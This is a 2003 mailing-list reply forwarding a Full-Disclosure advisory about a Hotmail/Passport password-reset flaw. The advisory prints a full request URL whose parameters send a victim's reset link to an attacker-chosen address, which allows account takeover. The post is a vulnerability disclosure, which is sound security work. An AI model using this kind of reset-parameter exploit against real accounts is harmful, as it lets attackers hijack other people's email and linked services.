Re: Hotmail & Passport (.NET Accounts) Vulnerability

[anirudh bhatt <bhattsharma () yahoo co in>]

Isnt this the same vulnerabilitywhich was first
reported on FD(almost a year ago..) ..and supposedly
made FD "famous" (as regards being noticed by the
press).


> I am forwarding this as it may impact people whom
> depend on MSN or
> passport systems for business reasons. Contrary to
> what at
> least one of the full-disclosure follow-ups reports,
> it does work.
>
> D
>
>
> ---------- Forwarded message ----------
> Date: Wed, 7 May 2003 19:50:51 -0700 (PDT)
> From: Muhammad Faisal Rauf Danka
> To: full-disclosure () lists netsys com
> Subject: [Full-disclosure] Hotmail & Passport (.NET
> Accounts) Vulnerability
>
> Hotmail & Passport (.NET Accounts) Vulnerability
>
> There is a very serious and stupid vulnerability or
> badcoding in Hotmail / 
> Passportâ??s (.NET
> Accounts)
>
> I tried sending emails several times to Hotmail /
> Passport contact 
> addresses, but always met
> with the NLP bots.
>
> I guess I donâ??t need to go in details of how
> cruical and important Hotmail 
> / Passportâ??s
> .NET Account passport is to anyone.
>
> You name it and they have it, E-Commerce, Credit
> Card processing, Personal 
> Emails, Privacy Issues,
> Corporate Espionage, maybe stalkers and what not.
>
> It is so simple that it is funny.
>
> All you got to do is hit the following in your
> browser:
https://register.passport.net/emailpwdreset.srf?lc=1033&em=vanecarolina13 () hotmail 
com&id=&cb=&prefem=careverga7@.com&rst=1
> And youâ??ll get an email on attacker () attacker com
> asking you to click on a 
> url something like
> this:
http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033
> > From that url, you can reset the password and I
> donâ??t think I need to say 
> > anything more about
> it.
>
> Vulnerability / Flaw discovered : 12th April 2003
> Vendor / Owner notified : Yes (as far as emailing
> them more than 10 times is 
> concerned)
>
>
> Regards
> --------
> Muhammad Faisal Rauf Danka
_________________________________________________________________
> Charla con tus amigos en línea mediante MSN
> Messenger: 
> http://messenger.latam.msn.com/


________________________________________________________________________
Yahoo! India Matrimony: Find your partner online. http://yahoo.shaadi.com/india-matrimony/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html